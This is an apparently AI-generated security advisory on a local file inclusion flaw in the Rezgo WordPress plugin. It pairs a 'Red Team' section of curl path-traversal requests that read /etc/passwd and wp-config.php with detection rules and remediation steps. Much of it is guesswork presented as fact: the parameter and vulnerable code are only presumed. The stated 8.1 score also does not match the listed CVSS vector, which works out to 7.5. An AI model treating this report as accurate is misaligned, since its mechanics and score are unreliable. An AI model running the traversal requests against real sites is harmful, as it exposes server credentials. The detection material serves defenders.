CVE-2024-53800

Executive Summary

CVE-2024-53800 is a critical security vulnerability affecting the Rezgo WordPress plugin, version 4.17 and earlier. The vulnerability is a PHP Local File Inclusion (LFI) flaw, stemming from improper control of a filename used in a PHP include/require statement. This allows an unauthenticated attacker to include arbitrary local files from the server, potentially leading to sensitive information disclosure (e.g., reading /etc/passwd, configuration files, or source code). The CVSS score of 8.1 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high impact on confidentiality. As a WordPress plugin vulnerability, this issue is specific to the Rezgo plugin ecosystem and does not implicate the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability is specific to the Rezgo WordPress plugin, which is distributed via the official WordPress plugin repository and potentially third-party marketplaces. Since the patch status is unknown and no official update has been released, the supply chain risk is elevated. Users are advised to treat the plugin as compromised and consider disabling or removing it until a patch is confirmed. No OSV or GitHub advisory data is available to track the fix.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full file read capability.
• Integrity Impact: None (I:N) – no file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive server-side files, including database credentials, API keys, and source code.

Deep Dive & Mechanics

The vulnerability resides in the Rezgo plugin's PHP code, where a user-supplied parameter (likely a filename or path) is passed directly to a PHP include/require statement without proper sanitization or validation. This is a classic PHP Local File Inclusion (LFI) flaw (CWE-98). The attacker can manipulate the parameter to include arbitrary files from the server's filesystem, such as:

• /etc/passwd – user enumeration.
• /etc/nginx/nginx.conf – server configuration.
• /var/www/html/wp-config.php – WordPress database credentials.
• /proc/self/environ – environment variables.

The attack is typically performed by sending a crafted HTTP request to a vulnerable endpoint, e.g.:

GET /wp-content/plugins/rezgo/?page=../../../../etc/passwd%00

The %00 null byte may be used to terminate the string in older PHP versions, but modern PHP (5.3.4+) ignores null bytes. However, path traversal sequences (../) are still effective.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code (rezgo plugin)
$page = $_GET['page'];
include($page . '.php');

A patched version would implement strict validation:

// Patched code
$allowed_pages = array('dashboard', 'settings', 'reports');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Error handling
    die('Invalid page.');
}

Or use realpath() to resolve the path and ensure it stays within a whitelisted directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with Rezgo plugin version <= 4.17.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the vulnerable parameter: The parameter is likely page, file, or include. Use a web fuzzer (e.g., Burp Suite, ffuf) to discover it.

2. Craft the payload: Use path traversal to read sensitive files.

   curl -v "http://target.com/wp-content/plugins/rezgo/?page=../../../../etc/passwd"
   

3. Read configuration files: Extract database credentials.

   curl -v "http://target.com/wp-content/plugins/rezgo/?page=../../../../var/www/html/wp-config"
   

4. Attempt null byte injection (if PHP < 5.3.4):

   curl -v "http://target.com/wp-content/plugins/rezgo/?page=../../../../etc/passwd%00"
   

Expected Output: The contents of the requested file will be displayed in the HTTP response.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for suspicious page parameters containing ../ or %00.
• Look for requests to /wp-content/plugins/rezgo/ with unusual query strings.
• Use the Sigma rule below to detect LFI attempts.

Response:

1. Immediately disable or remove the Rezgo plugin.
2. Check for signs of compromise (e.g., unexpected files, modified configurations).
3. Rotate any credentials that may have been exposed (database, API keys).
4. Apply a Web Application Firewall (WAF) rule to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing page=../../../../ or similar path traversal sequences.
  • Requests to /wp-content/plugins/rezgo/ with non-standard parameters.
  • Outbound connections from the server to unknown IPs (if attacker exfiltrates data).

• File System IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, or wp-config.php logs.
  • Presence of unexpected files in the web root (e.g., shells, backdoors).

• Log IOCs:

  • Web server logs showing 404 or 200 responses for LFI payloads.
  • PHP error logs indicating failed include attempts.

Detection Engineering

YARA Rule

rule CVE_2024_53800_Rezgo_LFI {
    meta:
        description = "Detects LFI attempts targeting Rezgo plugin CVE-2024-53800"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53800"
    strings:
        $lfi1 = "page=../../" ascii wide nocase
        $lfi2 = "file=../../" ascii wide nocase
        $lfi3 = "include=../../" ascii wide nocase
        $lfi4 = "/etc/passwd" ascii wide nocase
        $lfi5 = "wp-config" ascii wide nocase
    condition:
        any of ($lfi*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-53800 Rezgo Plugin LFI Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Rezgo plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'page=../../'
            - 'file=../../'
            - 'include=../../'
        cs-uri-stem|contains: '/wp-content/plugins/rezgo/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other plugins (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-53800 Rezgo Plugin LFI Attempt";
    flow:to_server,established;
    content:"/wp-content/plugins/rezgo/"; http_uri;
    content:"page=../../"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-53800;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Rezgo plugin until a patch is released.
2. Implement a WAF rule to block requests containing page=../../ or similar patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Long-Term Fix:

• Monitor the Rezgo plugin repository for an official patch.
• If the plugin is abandoned, consider migrating to an alternative solution.
• Apply the principle of least privilege to the web server user.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.